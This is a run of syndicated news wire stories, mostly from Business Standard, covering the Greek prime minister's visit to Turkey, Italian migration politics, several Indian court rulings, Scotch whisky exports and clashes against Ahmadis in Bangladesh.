The NGT had earlier directed the Jammu and Kashmir government and the state pollution control board to test ambient air quality in the entire construction stretch of Udhampur-Banihal highway after a plea alleged air pollution in the area.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The recent visit of Greek Prime Minister Alexis Tsipras to Turkey generated major interest in both countries. Although this was Tsipras third visit to Turkey since he took over in 2015, it was his first visit to Ankara and to offer friendly photo opportunities with Turkish President Recep Tayyip Erdogan. The Greek leader then headed straight to Istanbul. As Al Montior writes in the article Turkey, Greece take symbolic but significant steps closer, the most striking part of his Istanbul visit Feb. 5 was the trip to Heybeliada Halki Seminary, the Greek Orthodox theological school that has been closed since 1971.

He said reopening the school would be a "sign of friendship." To the surprise of many, Tsipras also visited the orthodox church inside the seminary and lit a candle, despite his secular approach to government, and participated in a short service conducted by Patriarch Bartholomew in the Church of Hagia Triada (Church of the Holy Trinity).

Allowing Tsipras to visit the Halki Seminary was a major symbolical affair that will certainly boost his reputation with the Greek public. Tsipras also visited the historical Hagia Sophia museum, which also attracted notice, accompanied by Turkish presidency spokesman Ibrahim Kalin.

Sources who have intimate knowledge of the visit told Al-Monitor that in return for these major gestures, Erdogan asked for Tsipras' support for Turkeys next bid to join the European Union, planned for after the local elections March 31. According to the same sources, who didnt want to be identified, Tsipras visit and the warm welcome extended to him could be a prelude to a new honeymoon period between the two countries, despite militarized tension between Ankara and Athens.

The Cyprus problem, naval jurisdiction in the eastern Mediterranean, territorial waters and exclusive economic zone and air space disputes are among the major problems between the two capitals. In the political sphere, diplomatic disagreements also need to be resolved: problems regarding the Turkish minority in Greece and Greeks in Turkey, and Greece granting asylum to people Turkey accuses of terror crimes.

The timing of the visit was also significant. The resignation of Greeces nationalist defense minister, Panos Kammenos, has allowed Tsipras room to maneuver in relations with Turkey. Kammenos, leader of the Independent Greeks, or ANEL party, is known for his uncompromising attitude toward Turkey.

Moreover, Tsipras is an influential leader whose charisma was helpful in solving the 27-year conflict between Greece and the Macedonian republic. The resolution of this problem also gave him some leeway to tackle the decades-long Cyprus issue. Tsipras is now able to tell his public that Greece's influence and diplomatic power in the region is growing.

Another important reason for Tsipras visit was an economic one. The two neighbors struggling with common economic woes are focusing on new transportation and tourism projects. Indeed, special attention was paid to the launch of maritime links between Turkeys Aegean coastal province of Izmir and Greeces Thessaloniki for passenger and cargo movement. Other projects include introducing rapid railroad links between Istanbul and Thessaloniki, and completing a second bridge at the Ipsala border crossing to facilitate tourism exchanges.

One other major issue discussed was energy. The Turkish Stream gas pipeline, which will carry Russian natural gas across the Black Sea to the European side of Turkey and farther on to the border with EU countries, is envisaged to stretch to Greece from westernmost Turkey, then to southern and Central Europe through northern Greek territory. The project, which bypasses Ukraine in transferring natural gas from Russia to Europe, requires cooperation between Turkey and Greece.

Tsipras has been seriously lobbying in Moscow to ensure Greeces involvement in the Turkish Stream project. Moscow might have signaled Tsipras that improving ties with Ankara is a precondition for Greeces inclusion in Turkish Stream.

Like many analysts, I also wonder if in the coming months Athens and Ankara will be able improve their ties by reaching some level of success in solving their mutual problems.

We'll have to wait for Erdogans return visit to Greece to see the answer. I believe, should Turkey's ruling Justice and Development Party (AKP) achieve a significant success in the March local elections, that success would grant Erdogan four years of breathing room to thaw the frozen issues, including Cyprus and the Aegean dispute. Then Erdogans visit to Athens will therefore carry extraordinary symbolic value.Italian Prime Minister Giuseppe Conte has urged European lawmakers to show a united front on migration, with the issue set to dominate the run-up to European elections in May.

Conte's speech mixed pro-bloc rhetoric with some criticism as he faced an often hostile audience at the European Parliament in Strasbourg.

"The European project seems to have lost some of its momentum," said Conte, who heads a populist coalition government, regretting what he perceived as passivity in the face of economic crisis.

"Politics, if it is only at the service of the economy, misses its mark," the Italian head of government said in charging that the EU had "lost contact with the people" and was "incapable of understanding (their) true needs."



With Italy as a first point of entry to Europe for tens of thousands of migrants in recent years, Conte noted immigration was a bone of contention for voters on a continent seized by rising populism.

"We cannot go on" dealing with migrant flows via a series of emergency measures, Conte insisted.

He said the bloc required instead "a structural approach for a stable and efficient solution," including a mechanism forcing EU states to share out the burden.

Manfred Weber, leader of the European People's Party centre right grouping, responded by stating the assembly backed a fairer and more effective asylum policy that would provide greater solidarity and end the requirement to apply for asylum only in the first EU country reached.

However, fellow German Udo Bullmann, leader of the Socialists and Democrats grouping, blasted what he termed Italian "cynicism" in refusing to take in NGO migrant rescue boats at its ports.

That policy has earned Rome trenchant criticism and Conte drew more of the same over his country's spending plans and high public deficit, which led to a standoff with Brussels last year prior to the policy being watered down.

"Italy suffered badly from austerity," said Belgian Green lawmaker Philippe Lamberts, but "rather than seek to form alliances ... your government chose confrontations which were theatrical and sterile," he chided Conte.

Conte meanwhile defended a recent meeting in France between deputy prime minister Luigi di Maio and French anti-government "yellow vest" protestors which caused a rumpus between Rome and Paris, saying the visit was made merely as a "party leader.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Indian National Lok Dal has formed its new student wing ahead of the Lok Sabha polls.

INLD president and former chief minister Om Prakash Chautala unveiled the banner and logo of the INLD Students' Organisation (ISO), and addressed the youth wing of the party, according to an official release issued Wednesday.

He assured them that whenever the INLD would be voted to power, it would ensure that all young boys and girls get employment according to their qualifications.

Rambir Singh Badala was appointed as the state president of ISO and Arjun Chautala, son of Leader of Opposition Abhay Singh Chautala, was made the national in-charge of the student wing.

"Om Prakash Chautala also expressed satisfaction over the hard work that the party workers had invested in strengthening the party and said that he himself has been a worker and hence knew that they were the backbone of any organisation," the release said.

In October last year, Om Prakash Chautala had dissolved the INLD's student wing Indian National Students Organisation (INSO) as well as the party's youth wing as these were allegedly found to be lacking in discipline and commitment to the ideals of the party.

However, later on, his grandson Digvijay Chautala had claimed that the INLD president could not dissolve INSO as only its patron Ajay Chautala had the power to do so.

Om Prakash Chautala (84), was released on three-week furlough from Tihar Jail in Delhi last week. He along with his elder son Ajay Chautala is undergoing a jail term after their conviction in the teachers' recruitment scam in Haryana.

Meanwhile, Leader of Opposition Abhay Singh Chautala and state president of the INLD Ashok Arora said Wednesday that the party will be holding a rally in Hansi on March 1, which will be addressed by O P Chautala.

On that day, the party's Lok Sabha poll campaign will be formally launched, he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)An Indian teenage boy, who mistakenly crossed into Pakistan, has been repatriated as a goodwill gesture, according to a media report.

Bimal Narjere, 16, from Assam inadvertently crossed into the Pakistani side in August last year.

Pakistan Rangers informed India's Border Security Force (BSF) about Bimal and initiated inquiry into the matter, The Express Tribune reported.

After completion of all legal requirements and verification of the Indian citizen's identity, he was handed over to the BSF personnel via the Wagah Border.

On December 26 last year, Indian authorities too had released Abdullah Shah and Imran Warsi, two Pakistani nationals, through the Wagah Border.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)An Indian national arrested for possible links to an alleged plot to assassinate Sri Lankan President Maithripala Sirisena was on Wednesday further remanded in custody until February 27.

Marceli Thomas was arrested in October following a complaint by Namal Kumara, a police informant, who had alleged a plot to assassinate Sirisena and Gotabhaya Rajapaksa, the former top defence ministry bureaucrat and brother of ex-president Mahinda Rajapaksa.

Kumara also claimed that the senior police officer in charge of the police's counter terrorism division Nalaka Silva had masterminded the plot. Silva has since been interdicted and questioned extensively by the police CID.

The police maintained although no details had emerged on the alleged plot to kill Sirisena, Silva had been arrested for plotting the murder of a police officer.

Thomas, said to be from Kerala, appeared before a court on Wednesday.

Sirisena in late October sacked Prime Minister Ranil Wickremesinghe triggering an unprecedented constitutional crisis which lasted nearly two months. The alleged assassination plot and Wickremesinghe government's go slow on the investigation was cited by Sirisena as one of the reasons for his sacking of Wickremesinghe.

He appointed former strongman Mahinda Rajapaksa in Wickremesinghe's place.

Later, Sirisena was forced to reappoint Wickremesinghe as the prime minister after Rajapaksa failed to prove his majority twice in Parliament.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)An Indian-American man, who apparently tried to crawl under a parked tractor trailer to take a short cut, died after getting run over when the driver suddenly started his vehicle and drove away in New Brunswick in the US, according to police.

The incident occurred around 9:30 pm on February 5 when 30-year-old Neal Patel crawled under the stopped vehicle at the Raceway station on Route 1 near Wooding Avenue to take a shortcut, local media reported, citing police.

The driver suddenly started up his tractor trailer and was unaware that he had dragged Patel about 10 feet and ran him over with his rear tires, according to Police Lt. Robert Dudash.

Patel, a resident of Princeton, New Jersey, was badly injured. He was rushed to the Robert Wood Johnson University Hospital in New Brunswick where he succumbed to his injuries on Saturday, police said.

The driver, who police located hours later in Philadelphia, returned voluntarily to Edison to assist with their investigation. He does not face any charges in connection with the accident, police said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)India was among the top export destinations for Scotch whisky in 2018, a year during which the export value of Scotland's popular tipple grew by 7.8 per cent to hit a record 4.70 billion-pound.

Official figures from the UK's Her Majesty's Revenue and Customs (HMRC) analysed by the Scotch Whisky Association (SWA) revealed this week that India remains among the top 10 export destinations for whisky produced in Scotland.

The Indian market was also among the top three in terms of volume, with 112.6 million bottles sold to India in 2018, compared to top-ranked France at 187.8 million bottles and second-placed US at 136.8 million bottles.

In terms of value, India came in at 138.8 million pounds, up 34.1 per cent compared to 2017.

"2018 was another year of strong export growth for Scotch Whisky, attesting to its enduring popularity in different countries and among cultures right across the world. Quite simply, Scotch Whisky remains the whisky everyone wants to drink," said Karen Betts, Chief Executive of the Scotch Whisky Association.

"A key driver for global growth is the growing market for premium spirits. Scotch Whisky is in a great position to take advantage of this given its unrivalled reputation for quality, authenticity and provenance," she said.

However, the whisky association chief warned of risks posed by Britain's impending exit from the European Union (EU) next month, at a time when EU member-countries like France, Germany and Spain are among the leading export markets for the spirit. The EU is the largest region for Scotch exports, accounting for 30 per cent of global value and 36 per cent of global volume.

She said: "These figures underscore strength of the Scotch Whisky category, which has continued to grow despite the challenges posed by Brexit and by tensions in the global trading system.

"However, the industry does not take continued growth for granted. We operate in a competitive global marketplace and so a competitive business environment in Scotland and across the UK is vital to Scotch whisky's success."



The association called for fair and balanced regulation and taxes, including excise duty, to give distillers the confidence to invest in future growth. It said the UK and EU must agree to an open and positive future relationship, which delivers frictionless trade with the EU, and the UK must also secure ambitious trading relationships with key markets around the world.

"In that context, it is important to our industry, as to many others, that the UK does not leave the EU without a deal at the end of March. We are urging the government and Parliamentarians to work together constructively and pragmatically to ensure that an agreement is reached as quickly as possible," Betts added.

In 2018, the number of 70cl Scotch bottles exported hit record levels, growing to the equivalent of 1.28 billion, up by 3.6 per cent over the previous year.

The figures reveal that the US became the first billion-pound export market for Scotch whisky, growing to 1.04 billion pounds last year and blended Scotch whisky underlined its position as the bedrock of the industry with global exports of 3.04 billion pounds. There was further growth in exports of Single Malt Scotch Whisky, growing by 11.3 per cent in 2018 to 1.30 billion pounds.

The Scotch Whisky Association said the country's Scotch whisky industry directly employs 10,000 people in Scotland, including 7,000 in rural areas, and supports a further 30,000 jobs across the UK. The product is heavily export-oriented, with 175 markets worldwide and 41 bottles shipped overseas every second in 2018.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Centre on Wednesday collaborated with the German government to combat air pollution and exchanged a joint declaration for the implementation of India's National Clean Air Programme (NCAP).

The declaration was exchanged between the Central Pollution Control Board (CPCB) and German agency UBA at the Third Indo-German Forum on "Clean Air, Greener Economy", held at the Hyatt Regency hotel here.

Delivering the keynote address at the event, Union Minister for Environment, Forest and Climate Change Harsh Vardhan said the bilateral cooperation with Germany would focus on climate change adaptation, marine litter, forestry and sustainable development goals (SDG).

"India and Germany have had a rich cooperation engagement for the last 60 years, which extends to sectors such as natural resource management, urban protection, climate change adaptation and mitigation and innovative green technologies.

"Germany is amongst India's most important partners both bilaterally and in the global context," he said, while inaugurating the forum.

The minister said India's development trajectory focussed on five Ps -- People, Planet, Prosperity, Peace and Partnership.

"The bilateral cooperation in future should focus on marine litter, SDG and NDC implementation, climate change adaptation and forestry," he added.

In a following session at the forum, CPCB member-secretary Prashant Gargava said India's two recent initiatives had been game-changers in combatting air pollution.

"Two initiatives, which to my mind are game-changers. One was in 2010, when, for the first time, a comprehensive study was taken up in six cities, through which we started understanding the sources which are contributing to pollution and why the problem is of particulate matter.

"The second, equally important initiative, was the air quality index (AQI), launched in 2015, and that ensured that public participation grew more and more," Gargava said.

The event had panel discussions focussed on challenges, solutions and the necessary framework conditions for air pollution control, waste management and implementation of NDCs (Nationally Determined Contributions) and SDGs based on the Paris Agreement and Agenda 2030 of the UN respectively.

During the event, the Federal Environment Minister from Germany, Svenja Schulze, said progress and implementation of Agenda 2030 was slow and the window of opportunity for a low-carbon economy was dwindling.

"A lot has been achieved in recent years but the global carbon emission is still rising. The 2030 Agenda of the UN needs to be taken seriously by the government. The forum needs to build on experience exchange and cooperation will be strengthened in the areas of marine litter, waste to energy, biodiversity, waste and water," she said.

Over 200 representatives of ministries as well as NGOs participated in the forum, which was organised by the two countries in cooperation with the Asia-Pacific Committee of German Business and the Federation of Indian Chamber of Commerce and Industry (FICCI).

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)IIT-Madras Wednesday said it has tied-up with a second institute to offer direct PhD programme to B.Tech students who are entering final year.

It said such collaborations help encourage research and get more qualified faculty members to fill number of vacancies across IITs.

A memorandum of understanding was signed recently between IIT-M and Indian Institute of Information Technology Design and Manufacturing (IIITDM)-Kancheepuram.

The tie-up allows top 10 per cent of best performing B-Tech students of IIITDM-Kancheepuram now to seek direct admission to the PhD programme at IIT-M after completing their sixth semester (third year).

Selected candidates will spend their last year (fourth year) of undergraduate study at IIT-Madras in a more focused manner which will help them in the Phd programme, Industrial Consultancy and Sponsored Research (ICSR) Associate Dean V Kamakoti told PTI.

IIT-Madras will transfer credits to IIITDM to award B.Tech degree to students, he said.

The premier institute has similar tie-up with National Institute of Technology-Tiruchirappalli.

"This is an effort to encourage research and get more qualified faculties to fill number of vacancies across IITs, which has lot of vacancies," Kamakoti said.

The students will be screened through an internal test and an interview before they are selected to the direct Phd programme.

Other aspects of the MoU is collaboration in research and academics.

IIT M Director Bhaskar Ramamurthi said, "As the mentor of IIITDM, IIT Madras has always been closely associated with it. This MOU now enables greater interaction between the students as well."



IIITDM Kancheepuram is a centre-funded institution.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Rebel Wilson believes she "misspoke" when she claimed that she will be "first-ever plus-sized girl to be the star of a romantic comedy".

The actor had made the remarks during her appearance at Ellen DeGeneres' show where she was promoting the film, "Isn't It Romantic".

Her comments resulted in a major backlash for the Australian star on social media.

She later apologised only after social media users reminded her that actors Queen Latifah and Mo'Nique had fronted romantic comedies before.

Looking back at the controversy, the 38-year-old actor told Variety, "I obviously misspoke in that situation."



"I was so sincerely sorry. My intention was never to offend anyone. It was purely to lift my fellow plus-sized women up, so I was sad when I had a different reaction from some people," she added,



The film's message, Wilson said, is about body positivity.

"At the end of the day I think this movie is so positive, it has such a sweet message, and the representation in it is really positive," she added.

"Isn't It Romantic", also featuring Liam Hemsworth, Priyanka Chopra and Adam DeVine, releases on Wednesday in the US.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Delhi High Court Wednesday transferred to another bench a plea by the CBI seeking a three-time increase in the security amount to be deposited by controversial meat exporter Moin Qureshi, accused in a cheating and corruption case, to travel to the UAE and Pakistan.

Justice Chandra Shekhar, who had earlier sought Qureshi's response on the CBI's plea, sent the case to another single judge, who is hearing a similar matter related to a co-accused.

The court was informed by the counsel appearing in the matter that a similar plea involving co-accused Pradeep Koneru is pending before Justice Najmi Waziri.

Koneru's issue relates to security amount to be deposited by him for travelling abroad.

The CBI's plea has been listed for hearing on Thursday before Justice Waziri.

The court had earlier issued notice to Qureshi seeking his reply on the plea of the probe agency which has requested the security deposited be increased from Rs 2 crore to Rs 6 crore and also contended the trial court ought to have mandated higher amount as was done by the high court for a co-accused in the case.

Qureshi, on February 1, was allowed by a trial court to travel to the UAE from February 15-23 for attending the Gulf Food Festival and from March 6-20 to Pakistan to attend his niece's wedding.

The trial court had directed Qureshi to furnish an additional security of Rs 2 crore in the form of bank guarantee and warned that in case of violation of any of the conditions imposed, the amount would be forfeited.

He was also asked to surrender his passport within 24 hours of his arrival in the country.

While the CBI sought enhancement of the amount, Qureshi moved an application in the trial court to reduce the security to Rs 50 lakh, the agency had earlier told the high court.

The ED and the CBI had opposed before the lower court Qureshi's plea to travel abroad on the apprehension that he may not return to face the trial.

The CBI had urged the trial court that stringent security conditions be put on him as was done in the case of the co-accused by the high court.

Qureshi had sought permission of the trial court to travel to the UAE from February 9-24 to meet buyers and attend the Gulf Food Festival for purposes of promoting and growing his business. And to Lahore and Karachi in March to attend a relative's wedding and to permit him to retain his passport between the trips to obtain visa for Pakistan.

The court had in 2017 granted him bail in a case in which the ED had alleged that Qureshi was involved in hawala transactions through Delhi-based hawala operators Parvez Ali of Turkman Gate and M/s South Delhi Money Changer (DAMINI) in Greater Kailash-1.

The ED has challenged the bail order in the high court which is pending.

The CBI had lodged a case against him after the ED and Income Tax department's probe into money laundering allegations against Qureshi, in which ongoing investigations have allegedly revealed involvement of senior public servants.

The probe agency had earlier alleged that money has been sent abroad by the accused from one of the witnesses in the investigation through hawala channels in exchange for help provided to him in a CBI case.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)There is a growing demand in the region for second passports and permanent residency visas, said Vazir Group, a UAE-based migration services firm offering residency, passport and citizenship options for its clients.



According to the UN International Organisation for Migration, the most recent report suggests there are approximately 244 million migrants in the world, as of 2018. Migrants may have chosen to depart their homeland for a number of reasons, whether it is to seek better economic prospects, fleeing conflicts, or simply trying to attain a better lifestyle.



With so many global citizens, who are not tied to a particular nation or place, it can leave individuals and their families without the foundation of a strong passport. This can be particularly destabilising for those who wish to travel extensively, whether for business or leisure.



Additionally, children of migrants born in the UAE do not have access to Emirati citizenship, which can leave individuals with heritage passports from their family background that are deemed inferior.



Vrinda Gupta, managing partner of Vazir Group said: There are currently around 8.5 million expatriates living in the UAE, many of whom hold passports and citizenship that restrict their access to global travel. We are seeing increasing interest from individuals and their families who require alternative citizenship options. For many business people, it is an absolute necessity to be able to operate freely across the world, so a second passport or permanent residency can be a great investment.



According to the Global Business Travel Association, corporate travellers take more than 480 million business trips per year. It is therefore essential for many UAE residents to have a passport that grants easy access to key economic hubs.



Vazir Group said that Canada tops its list of most desirable locations for those looking for a second citizenship, with Cyprus and Malta rounding off the top three.



The Best Countries Ranking, developed by brand perceptions company BAV Group &The Wharton School at the University of Pennsylvania, surveyed 21,000 global citizens and classifies Canada as the Best Country for Immigrants. This is attributed to its national policy of multiculturalism and its economic backdrop that encourages entrepreneurs.



Gupta added: Canada is the top location for those seeking secondary nationality, as there are a variety of options for those who either want to permanently relocate or make an investment that grants citizenship. The system can sometimes be quite confusing for those who know little about the processes. Its not impossible for individuals to do the application themselves, but there are many essential documents and local authorities involved, so for those who value their time wed recommend speaking to a specialist advisor.  TradeArabia News ServiceThe Kerala High Court Wednesday stayed the construction of an unauthorised building at Munnar in Idukki district, over which a local MLA had publicly slandered a woman sub-collector for issuing a stop memo notice.

The division bench, headed by the Chief Justice Hrishikesh Roy, gave the interim stay on a plea filed by former Munnar panchayat president and CPI leader M Y Ousepp.

The bench said it was clear that there was no permission for construction of the building.

The high court also noted that the panchayat had ignored the stop memo issued by the revenue department.

The construction has already stirred up a controversy after local MLA S Rajendran publicly slandered Devikulam Sub-collector Renu Raj on Sunday for issuing the stop memo against the construction.

The government counsel also submitted that the construction continued even after a stop memo was issued by the sub-collector.

The petitioner's counsel pointed out that the construction was going on at the stretch of land given for parking site.

Renu Raj, who also moved the high court against the construction, said in her affidavit that the land was within 50 yards from Muthirapuzha river and any construction within this limit would be in violation of the earlier court orders.

The sub-collector also told the high court that despite the stop memo, the construction continued and when the village officer and other officials tried to stop it, they were abused by the panchayat members and the contractor.

In spite of these actions, the court order was ignored, she said, adding that MLA S Rajendran arrived at the spot and declared that No-Objection Certificate from the Revenue Department was not necessary and her action was without proper understanding of legalities.

Raj, appointed as Devikulam sub-collector in November last year, had issued the stop memo to the panchayat on February 6 against the illegal construction.

The sub-collector in her letter to the Advocate General, seeking initiation of contempt proceedings against the panchayat secretary, had said that the special village officer and other officials who went to inspect the unauthorised construction were insulted by the contractor and the panchayat members.

Rajendran had Sunday courted controversy after he publicly slandered the young woman IAS officer, saying she "lacked brains," after she tried to stop the unauthorised construction of a shopping complex at Munnar hill station.

The MLA purportedly made disparaging comments that sub-collector Renu Raj "lacked brains" and had no powers to intervene in the construction as building rules come under the purview of panchayats.

"She doesn't have brains...she studied only to become a collector... such people will have only so much brains. Should she not study the sketch, plans? A collector cannot intervene in a panchayat construction," he had said.

However, Revenue Minister E Chandrasekharan reiterated his support to the sub-collector and said, that the action taken by her was as per the law.

The Kerala High court had in a 2010 verdict said for any new construction in Munnar, a No-Objection certificate has to be obtained.

The four-storey building, built at an estimated cost of Rs 1 crore, did not have any permission from the authorities, Raj had told PTI.

The officer has informed chief secretary Tom Jose, Revenue Principal Secretary and the district collector and as per their direction had prepared a written report.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Calcutta High Court Wednesday stayed an order of a magistrate court here that directed the CBI to submit certain documents related to a ponzi scam probe, till the HC delivers its judgement on a prayer by the agency challenging the magistrate's directions.

Justice Shivakant Prasad reserved the judgement as he concluded hearing in the CBI application.

A case was filed at Ballygunge police station in connection with a few hundred investors in Rose Valley ponzi scheme storming a south Kolkata hotel, which was run by the company, demanding return of their money.

Claiming that a CBI inspector was harassing them in connection with the probe, four of these investors had filed a case before the magistrate court at Alipur which was hearing the matter relating to the unruly situation at the hotel.

The magistrate court directed the CBI to produce certain documents in connection with its investigation into the ponzi scam before it on February 14, challenging which the CBI moved the high court.

Appearing for the CBI, Additional Solicitor General Kaushik Chanda submitted that the magistrate court here can adjudicate a criminal case involving the rampage at the hotel, but it cannot enlarge the scope and encroach upon the arena of investigation of the central agency, which was ordered by the Supreme Court.

Advocate General Kishore Dutta, representing the West Bengal government, said the Supreme Court had asked the CBI and the state to work in tandem.

Stating that the magistrate had ordered the investigating officer of Ballygunge police station to work in accordance with law, he wondered as to how it is in contravention of the Supreme Court order.

He submitted that if the CBI is asked to give some information in connection with a case, it cannot say the agency will not, since the apex court order has asked it and the state to work in tandem.

Opposing the submission, the ASG said the CBI had moved the apex court as the state government was not cooperating with the investigation and was instead trying to harass the investigators.

It was on this prayer of CBI seeking direction to the West Bengal government to cooperate that the Supreme Court had directed the agency and the state to work in tandem, Chanda submitted, claiming that the direction cannot be interpreted as done by the AG.

The ASG claimed that the magistrate order was passed on the basis of a malafide application with ulterior motive to harass CBI officers investigating the ponzi scam.

He submitted that jurisdiction relating to the CBI investigation into the ponzi scam was that of a special CBI court at Bhubaneswar in Odisha and the local court here cannot encroach upon it.

Following submissions by the ASG and AG, Justice Prasad concluded hearing in the CBI's petition, staying the magistrate's order till judgement is passed by his court.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Delhi High Court has refused to set aside the deportation order for a Nigerian national, who was staying here even after expiry of his medical visa in 2015.

The court dismissed the plea of a pregnant Indian woman who urged that her husband, a foreign national, be allowed to stay here and that his visa be extended on payment of penalty.

"Undoubtedly, the petitioner (woman) has presented certain mitigating circumstances. However, except sympathising with her condition, this court is unable to provide any relief to the petitioner," Justice Vibhu Bakhru said.

The man had arrived in India on March 16, 2015 on a medical visa, that was issued to him in Lagos by the Indian High Commission. It was valid for one month from March 4 to April 3, 2015.

He had claimed in the visa application that he was suffering from stomach tumour and visiting India for treatment at a hospital in Gurgaon.

The Foreigners Regional Registration Office (FRRO), which had passed the deportation order, submitted before the court that the Nigerian in his visa form had indicated himself to be married.

However, the woman claimed she got married to the man in November 2017 as per Hindu rituals and they have a son.

The woman said that she and her child were dependent on her husband who was apprehended in October 2018 and is presently lodged in a deportation camp at Lampur border in Narela. The authorities are in the process of deporting him to Nigeria.

She said she was pregnant and it would be harsh on her, if the man is deported to his country.

The court noted that the man had obtained the medical visa by giving false information and there was no material to show that he was suffering from stomach tumour or that he visiting any hospital here.

"The man was issued a visa only for limited purpose. Thus, the question of extending it on payment of penalty does not arise, as the visa itself is liable to be cancelled as having been obtained by misrepresentation," it said.

The court said it was unable to accept that any interference with the decision of the authorities was warranted.

It said that in terms of the provisions of the Citizenship Act, 1955, a spouse of foreign origin of a citizen of India would be entitled to an Overseas Citizen of India Card.

However, the pre-condition for the same is that the marriage should have been registered and should have subsisted for a continuous period of not less than two years immediately providing the presentation of an application under Section 7A of the Citizenship Act, 1955, it said.

"Plainly, the benefit of this provision is also not available to the man as the petitioner's marriage with him is not registered," the court said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Madras High Court Wednesday gave its nod to capture and put in captivity a wild elephant which has been venturing into human habitats in Coimbatore and neighbouring districts in recent days.

A bench comprising Justice S Manikumar and Justice Subramonium Prasad directed the Tamil Nadu principal chief conservator of forest to pass appropriate orders for capturing the 25-year-old elephant, nicknamed "Chinnathambi" and keep it in captivity.

It gave the order on a PIL filed by animal welfare organisation People for Cattle in India (PFCI), which sought framing of suitable guidelines for translocation and rehabilitation of elephants and systematic study of man-elephant conflicts in forest fringes.

"The averments, submissions and report of the expert Ajay Desai all warrant capture of the elephant Chinnathambi," it said.

The bench made it clear that the physical discomfort to the elephant while capturing and transporting should be kept to the minimum and adequate measures should be made for its safe journey to the place of captivity.

The safety and security of the people en route should also be ensured.

The petitioner had also pleaded for a direction to frame necessary guidelines for the safe and humane methods of translocation of elephants.

In Coimbatore district, several environmentalists and animal lovers had expressed concern over earlier reported moves to tame Chinnathambi and make him a 'kumki' (tamed elephant).

However, the principal chief conservator had denied the reports and told the bench in the previous hearing that all elephants cannot be used as 'kumkis'.

'Chinnathambi' was translocated from the outskirts of Coimbatore to Varagaliar, about 100 km from here, by Forest Department personnel on January 25 following complaints from residents about the elephant destroying crops and damaging houses for the last seven months.

However, the elephant, which was radio-collared, returned to human habitat the third day after walking all the way back from Vargaliar.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Tamil Nadu government's decision of extending Rs 2,000 cash assistance to each of the 60 lakh below poverty line families in the state is being challenged in the Madras High Court.

A mention of the matter was made Wednesday before a bench comprising Justices S Manikumar and Subramonium Prasad by Senthil Arumugam, trustee of non-governmental organisation Satta Panchayat Iyakkam, for an urgent hearing.

The bench accepted to take up the plea if a petition was filed.

Arumugam, who appeared in person, alleged that the number of families mentioned by the government was inflated and sought a direction restraining from disbursing the assistance till the correct figure was arrived at based on authentic and approved data.

He contended that there were only 28.32 lakh BPL families in the state as per the 2018-19 budget.

On Monday, Chief Minister K Palaniswami announced in the state assembly that a special assistance of Rs 2,000 would be given to about 60 lakh below poverty line families across the state, keeping in mind the impact of Gaja cyclone as well as the prevailing drought.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Veteran actor Harrison Ford has taken a dig at US President Donald Trump over the country's decision to opt out of Paris climate agreement, saying those who deny the threat of climate change are on the "wrong side of history".

During his speech at the final day of the World Government Summit here on Tuesday, Ford said the world needs to protect nature as humans are facing the "greatest moral crisis of our time".

"All of us, whether rich or poor, powerful or powerless, will suffer the effects of climate change and ecosystem destruction as we're faced with the greatest moral crisis of our time," he said.

"The land and the sea are the legacy we will leave to future generations... We must intervene and act before it is too late... We need to protect nature because nature does not need people, but people need nature," he added.

According to Arab News, the 76-year-old veteran, famous for playing cult characters such as Han Solo in "Star Wars" franchise and the title character of "Indiana Jones" series, started his speech with a dig at Trump without even taking his name.

"Around the world elements of leadership including in my own country to preserve their state and the status quo, deny or denigrate science. They are on the wrong side of history," he said.

In 2017, Trump had announced that the US would be exiting Paris climate pact, saying it would pose a "burden" on the US economy.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Police fired rubber bullets and tear gas at hundreds of hardline Islamists who attacked minority Muslims in northern Bangladesh, leaving at least 25 people injured, officials said Wednesday.

The clashes erupted Tuesday night after days of tensions over a planned convention of the Ahmadi Muslim minority community in the town of Ahmadnagar.

Majority Sunni Muslim groups demanded the event be cancelled.

Hardline Islamists do not consider the Ahmadis to be Muslim and have called for them to be banned. The 100,000 Ahmadis in Bangladesh have faced repeated attacks and are often barred from establishing mosques. The group is banned in Pakistan.

Police said several Sunni groups have been holding protests against the Ahmadis' local convention, scheduled to start in just over a week.

"Some 700-800 men wielding sticks and batons marched towards Ahmadnagar and clashed with the Ahmadis," local police chief Abu Akkas said.

Police fired rubber bullets and tear gas to "maintain law and order", he told AFP, adding that at least 20 police and five Ahmadis were injured.

Ahmadi community spokesman Ahmad Tabshir Choudhury said at least seven of the Muslim minority were injured, three critically.

The last few decades have seen a number of attacks targeting Ahmadi Muslims in Bangladesh.

In 1999, a bomb ripped through an Ahmadi mosque in the southern city of Khulna, killing at least eight worshippers.

In 2015 a suicide blast by a suspected Islamist extremist at an Ahmadi mosque in the northwestern town of Bagmara wounded three people.

The Islamic State group claimed responsibility for the attack, but the authorities blamed the homegrown militant group Jamayetul Mujahideen Bangladesh (JMB), which is accused of killing scores of religious minorities including Hindus, Christians, Sufi Muslims and Shiites.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Stating that growth has to be achieved "prudently", a senior official of Lufthansa on Wednesday said the airline is currently analysing the market mix of Indians travelling to Europe and US before starting operations to a new destination in India.

"We are sure of a different mix where we will have sufficient Europe traffic and sufficient North American traffic, which would make newer attempts perhaps profitable. That is something that we are actually analysing. So, from our point of view, dynamics have changed," said George Ettiyil, Senior Director Sales, South Asia, Lufthansa Group Airlines.

"IT companies are expanding greatly in Europe, not only in Germany. There will be a different mix if we were to start operating to a new destination in India," said Ettiyil, who has been appointed as senior sales director this month itself.

